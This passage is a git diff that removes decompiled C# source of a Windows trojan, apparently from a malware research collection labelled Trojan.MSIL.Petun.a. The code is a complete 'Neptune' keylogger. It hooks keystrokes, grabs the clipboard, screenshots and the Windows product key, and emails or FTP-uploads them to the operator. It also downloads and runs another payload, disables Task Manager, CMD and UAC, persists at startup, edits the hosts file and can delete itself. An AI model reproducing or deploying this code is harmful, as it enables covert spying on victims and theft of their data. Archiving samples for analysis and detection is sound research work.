":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.kqxcpo) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.XwwXgs) - Left = "[/kqxcpo]"; - Module1.kqxcpo = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.DgLJqfzp += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.uqCThpqBY(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.CNHZWsPnf(Conversions.ToInteger(Module1.Delay)); - string oadrNpy = Module1.OadrNPY; - Module1.OadrNPY = Operators.CompareString(oadrNpy, "AaD", false) != 0 ? (Operators.CompareString(oadrNpy, "FaF", false) != 0 ? (Operators.CompareString(oadrNpy, "MaD", false) != 0 ? (Operators.CompareString(oadrNpy, "SaF", false) != 0 ? (Operators.CompareString(oadrNpy, "WaF", false) != 0 ? Module1.OadrNPY : Module1.ttgTt) : Module1.Gplau) : Module1.yZLbe) : Module1.tXmTasBq) : Module1.smFCYISY; - Module1.vpfLUVT = Module1.TripleDESDecode(Module1.vpfLUVT, "System.Net"); - Module1.KaehYxN = Module1.TripleDESDecode(Module1.KaehYxN, "System.Net"); - Module1.lyver = Module1.TripleDESDecode(Module1.lyver, "System.Net"); - Module1.OpKoN = Module1.TripleDESDecode(Module1.OpKoN, "System.Net"); - Module1.kFhmzwfsS = "\\" + Module1.kFhmzwfsS; - if (Operators.CompareString(Application.StartupPath, Module1.OadrNPY, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.OadrNPY + Module1.kFhmzwfsS)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.qcgGtrl) - { - ref string local1 = ref Module1.htwLhir; - ref string local2 = ref Module1.vpfLUVT; - ref string local3 = ref Module1.KaehYxN; - ref string local4 = ref Module1.bpzUiVI; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.RVuVga); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.RVuVga = Conversions.ToString(integer); - } - if (Module1.WdIVUkoqi) - { - ref string local9 = ref Module1.vKSTc; - ref string local10 = ref Module1.xQzWG; - ref string local11 = ref Module1.lyver; - ref string local12 = ref Module1.OpKoN; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.qQbVnXtdo) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.BLtthhIR)) - System.IO.File.Delete(Path.GetTempPath() + Module1.BLtthhIR); - MyProject.Computer.Network.DownloadFile(Module1.TwxelEMC, Path.GetTempPath() + Module1.BLtthhIR); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.BLtthhIR)) - { - if (Module1.vXWmcfWv) - Process.Start(Path.GetTempPath() + Module1.BLtthhIR, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.BLtthhIR); - } - } - if (Module1.brhjbBdI) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.hWCLMKP == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.wqJGdNXd) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.SycrYexG) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.EMpRCSW) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.fzqhuFn) - Interaction.Shell("C:\\Windows\\System32\\EMpRCSW.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.QyylmNWi) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.OadrNPY + Module1.kFhmzwfsS); - Process.Start(Module1.OadrNPY + Module1.kFhmzwfsS); - if (Operators.CompareString(Module1.pBSgCpzXS, "Melt", false) == 0) - Module1.uqCThpqBY(); - else if (Operators.CompareString(Module1.pBSgCpzXS, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new ZlCDYaj(Module1.qotRXeJWV).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.PlkNtLxCb, "CurrentUser", false) == 0 | Operators.CompareString(Module1.PlkNtLxCb, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.LNFetlWEG.Length != 4) - { - string[] strArray = Strings.Split(Module1.LNFetlWEG, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.UCqLCrG(); - switch (Module1.hWCLMKP) - { - case 3: - new Thread(new ThreadStart(Module1.StCPqLpOf)).Start(); - break; - case 4: - bEIWgBPCo.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.DgLJqfzp, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.vNbjktRM) - str = str + "System Information - \r\n" + Module1.vwdxDLBgp() + "\r\n"; - if (Module1.okkinZfm) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.DgLJqfzp = str + Module1.DgLJqfzp; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.LeJhzMz)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.qcgGtrl) - { - ref string local1 = ref Module1.htwLhir; - ref string local2 = ref Module1.vpfLUVT; - ref string local3 = ref Module1.KaehYxN; - ref string local4 = ref Module1.bpzUiVI; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.RVuVga); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.RVuVga = Conversions.ToString(integer); - } - } - while (!Module1.WdIVUkoqi); - Module1.UpFTPImg(ref Module1.vKSTc, ref Module1.xQzWG, ref Module1.lyver, ref Module1.OpKoN); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void LeJhzMz() - { - string dgLjqfzp = Module1.DgLJqfzp; - Module1.DgLJqfzp = ""; - if (Module1.qcgGtrl) - { - ref string local1 = ref Module1.htwLhir; - ref string local2 = ref Module1.vpfLUVT; - ref string local3 = ref Module1.KaehYxN; - ref string local4 = ref Module1.bpzUiVI; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref dgLjqfzp; - int integer = Conversions.ToInteger(Module1.RVuVga); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.RVuVga = Conversions.ToString(integer); - } - if (!Module1.WdIVUkoqi) - return; - Module1.UpFTP(ref Module1.vKSTc, ref Module1.xQzWG, ref Module1.lyver, ref Module1.OpKoN, ref dgLjqfzp); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.TkWaBol) * 60.0 * 1000.0)))); - - private static void CNHZWsPnf(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string lorjIXQBi(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string vwdxDLBgp() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.lorjIXQBi((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.lorjIXQBi((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void StCPqLpOf() - { -label_0: - Module1.CNHZWsPnf(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.CNHZWsPnf(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void uqCThpqBY() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string htwLhir, - ref string Dir, - ref string vpfLUVT, - ref string KaehYxN, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + htwLhir + Dir + str2, vpfLUVT, KaehYxN); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + htwLhir + Dir + str2 + ".gif", vpfLUVT, KaehYxN); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct mRPwlGwn - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum hcdbgRYf - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - GJdGKYiER = 35, // 0x00000023 - zEdEPJbYv = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - enMHjlSmr = 45, // 0x0000002D - ONRDvDhtt = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - LPodaUm = 162, // 0x000000A2 - ZcrNOXhcG = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.mRPwlGwn lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyApplication.cs deleted file mode 100644 index c1c6de16..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: VIP Beta, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A8E387DC-8A6A-4BD3-92A3-0B30F1158D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyComputer.cs deleted file mode 100644 index 80477877..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: VIP Beta, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A8E387DC-8A6A-4BD3-92A3-0B30F1158D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyProject.cs deleted file mode 100644 index c0b90661..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: VIP Beta, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A8E387DC-8A6A-4BD3-92A3-0B30F1158D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using 